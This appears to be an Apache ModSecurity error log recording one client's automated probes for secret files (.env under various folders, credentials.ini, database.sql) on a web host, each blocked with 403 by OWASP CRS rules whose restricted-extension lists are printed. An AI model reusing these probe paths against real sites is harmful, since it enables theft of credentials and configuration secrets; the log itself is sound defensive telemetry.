[Tue Oct 27 11:34:03.059740 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auDEa6-hHEA5KuUIXOZFCgAAAB8"]
[Tue Oct 27 11:34:03.059879 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auDEa6-hHEA5KuUIXOZFCgAAAB8"]
[Tue Oct 27 11:34:03.060141 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auDEa6-hHEA5KuUIXOZFCgAAAB8"]
[Tue Oct 27 11:34:03.097376 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas3.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auDEa2xfQD-hO3BCxC9rPQAAAAI"]
[Tue Oct 27 11:34:03.097676 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auDEa2xfQD-hO3BCxC9rPQAAAAI"]
[Tue Oct 27 11:34:03.097928 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auDEa2xfQD-hO3BCxC9rPQAAAAI"]
[Tue Oct 27 11:34:03.102026 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas3.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDEa1TmXkizvR8k42UIsgAAABU"]
[Tue Oct 27 11:34:03.102301 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDEa1TmXkizvR8k42UIsgAAABU"]
[Tue Oct 27 11:34:03.102524 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDEa1TmXkizvR8k42UIsgAAABU"]
[Tue Oct 27 11:34:03.103305 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auDEa96XOKPJcVnECbx2rAAAABY"]
[Tue Oct 27 11:34:03.103448 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auDEa96XOKPJcVnECbx2rAAAABY"]
[Tue Oct 27 11:34:03.103659 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auDEa96XOKPJcVnECbx2rAAAABY"]
[Tue Oct 27 11:34:03.104574 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BAAAACo"]
[Tue Oct 27 11:34:03.104703 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BAAAACo"]
[Tue Oct 27 11:34:03.104913 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BAAAACo"]
[Tue Oct 27 11:34:03.135697 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/env.js"] [unique_id "auDEa6-hHEA5KuUIXOZFCwAAAB8"]
[Tue Oct 27 11:34:03.135738 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/env.js"] [unique_id "auDEa6-hHEA5KuUIXOZFCwAAAB8"]
[Tue Oct 27 11:34:03.173477 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rPgAAAAI"]
[Tue Oct 27 11:34:03.173677 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rPgAAAAI"]
[Tue Oct 27 11:34:03.173905 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rPgAAAAI"]
[Tue Oct 27 11:34:03.179755 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auDEa96XOKPJcVnECbx2rQAAABY"]
[Tue Oct 27 11:34:03.179927 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auDEa96XOKPJcVnECbx2rQAAABY"]
[Tue Oct 27 11:34:03.180149 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auDEa96XOKPJcVnECbx2rQAAABY"]
[Tue Oct 27 11:34:03.180293 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BQAAACo"]
[Tue Oct 27 11:34:03.180433 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BQAAACo"]
[Tue Oct 27 11:34:03.180653 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BQAAACo"]
[Tue Oct 27 11:34:03.180712 2026] [proxy_fcgi:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 11:34:03.188235 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDEawY08XOpcUzVxFxUtwAAABM"]
[Tue Oct 27 11:34:03.188383 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDEawY08XOpcUzVxFxUtwAAABM"]
[Tue Oct 27 11:34:03.188591 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDEawY08XOpcUzVxFxUtwAAABM"]
[Tue Oct 27 11:34:03.188636 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDEawY08XOpcUzVxFxUtwAAABM"]
[Tue Oct 27 11:34:03.188650 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDEawY08XOpcUzVxFxUtwAAABM"]
[Tue Oct 27 11:34:03.207795 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auDEa1oIklFaGsOHQ-PJMgAAAAw"]
[Tue Oct 27 11:34:03.208028 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auDEa1oIklFaGsOHQ-PJMgAAAAw"]
[Tue Oct 27 11:34:03.208339 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auDEa1oIklFaGsOHQ-PJMgAAAAw"]
[Tue Oct 27 11:34:03.211292 2026] [proxy_fcgi:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 11:34:03.212944 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auDEaw23RZndSc31yX5tzwAAABQ"]
[Tue Oct 27 11:34:03.213097 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auDEaw23RZndSc31yX5tzwAAABQ"]
[Tue Oct 27 11:34:03.213326 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auDEaw23RZndSc31yX5tzwAAABQ"]
[Tue Oct 27 11:34:03.249724 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rPwAAAAI"]
[Tue Oct 27 11:34:03.249951 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rPwAAAAI"]
[Tue Oct 27 11:34:03.250210 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rPwAAAAI"]
